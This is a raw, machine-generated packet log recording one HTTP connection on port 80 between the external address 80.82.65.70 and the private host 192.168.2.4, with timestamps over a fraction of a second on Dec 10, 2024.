Dec 10, 2024 04:49:45.287134886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.287138939 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.287182093 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.288034916 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.288098097 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.288134098 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.288176060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.288996935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.289014101 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.289048910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.289062977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.289932013 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.290050030 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.290050983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.290132999 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.290924072 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.290981054 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.291050911 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.291098118 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.291830063 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.291874886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.291883945 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.291915894 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.292793036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.292838097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.292861938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.292952061 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.293751955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.293807983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.293811083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.293853045 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.294719934 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.294775963 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.294888020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.294933081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.295640945 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.295696974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.295747995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.295797110 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.296598911 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.296653032 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.296688080 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.296732903 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.297534943 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.297590017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.297668934 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.297714949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.298484087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.298537016 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.364692926 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.364702940 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.364794016 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.364882946 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.364929914 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.365001917 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.365052938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.365828037 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.365880013 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.365958929 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.366007090 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.366782904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.366833925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.366882086 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.366930008 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.367722988 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.367774010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.367834091 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.367882013 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.368668079 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.368722916 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.368797064 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.368858099 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.369692087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.369740963 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.369771957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.369815111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.370596886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.370647907 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.370718002 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.370773077 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.371543884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.371592045 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.371675014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.371732950 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.372493029 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.372570038 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.372665882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.372714043 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.373416901 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.373464108 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.373581886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.373631001 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.374412060 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.374484062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.374515057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.374562979 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.375365973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.375416040 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.375504971 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.375554085 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.376296997 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.376346111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.376410961 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.376456976 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.377253056 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.377302885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.377334118 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.377384901 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.378181934 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.378226042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.378299952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.378345966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.379157066 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.379205942 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.379264116 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.379307985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.380091906 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.380162954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.380197048 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.380240917 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.383385897 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.383400917 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.383409977 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.383419991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.383435011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.383445978 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.383598089 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.383941889 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.383999109 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.384068966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.384119987 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.384865046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.384913921 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.385000944 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.385051966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.385840893 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.385894060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.386037111 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.386082888 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.386775017 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.386832952 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.386921883 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.386972904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.387713909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.387767076 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.387820959 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.387866974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.388746977 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.388801098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.442641973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.442713022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.442742109 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.442779064 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.443027020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.443084955 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.443200111 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.443262100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.443303108 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.443351030 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.444159031 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.444206953 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.444243908 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.444291115 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.445089102 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.445132017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.445210934 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.445256948 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.446054935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.446101904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.446135998 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.446181059 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.447016954 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.447063923 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.447091103 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.447129011 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.447987080 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.448034048 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.448065042 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.448107958 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.448931932 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.448981047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.449038029 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.449084044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.449842930 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.449891090 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.449959993 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.450005054 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.450932026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.450999975 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.451034069 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.451071978 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.451761961 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.451807976 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.451839924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.451881886 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.452728987 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.452776909 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.452811003 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.452857018 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.453639984 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.453687906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.453728914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.453775883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.454638004 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.454684973 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.454720974 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.454766989 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.479238033 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.479307890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.479357004 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.479402065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.479626894 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.479675055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.479759932 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.479804993 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.480586052 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.480632067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.480690956 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.480736017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.481534958 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.481581926 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.481652021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.481714964 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.482486010 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.482532024 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.482610941 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.482656956 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.483454943 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.483500957 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.483541012 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.483587027 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.484391928 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.484437943 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.484503984 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.484549046 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.485335112 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.485378981 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.485449076 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.485497952 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.486320019 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.486363888 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.486417055 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.486458063 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.487231016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.487277985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.487307072 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.487346888 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.488215923 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.488266945 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.488346100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.488395929 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.489178896 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.489223003 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.489342928 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.489419937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.490103960 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.490158081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.490194082 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.490231037 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.491051912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.491097927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.556905031 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.556969881 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.557022095 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.557066917 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.557337999 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.557383060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.557441950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.557482958 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.558288097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.558337927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.558394909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.558446884 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.559258938 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.559309959 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.559365988 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.559412003 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.560193062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.560237885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.560278893 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.560323954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.561141968 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.561191082 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.561264038 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.561311007 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.562129974 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.562176943 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.562220097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.562283993 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.563045025 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.563096046 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.563138008 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.563184977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.563999891 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.564048052 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.564104080 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.564152956 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.564929962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.564977884 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.565037966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.565087080 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.565881014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.565931082 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.565960884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.566004992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.566839933 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.566889048 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.566945076 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.566994905 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.567830086 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.567878008 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.567909002 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.567958117 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.568751097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.568800926 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.568852901 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.568901062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.569699049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.569746971 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.569808960 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.569869995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.570657015 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.570708990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.570749044 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.570791006 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.571604967 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.571656942 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.571687937 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.571736097 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.572551012 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.572603941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.572645903 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.572698116 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.573512077 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.573559046 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.573599100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.573646069 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.574450016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.574498892 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.574547052 CET	80	49730	80.82.65.70	192.168.2.4
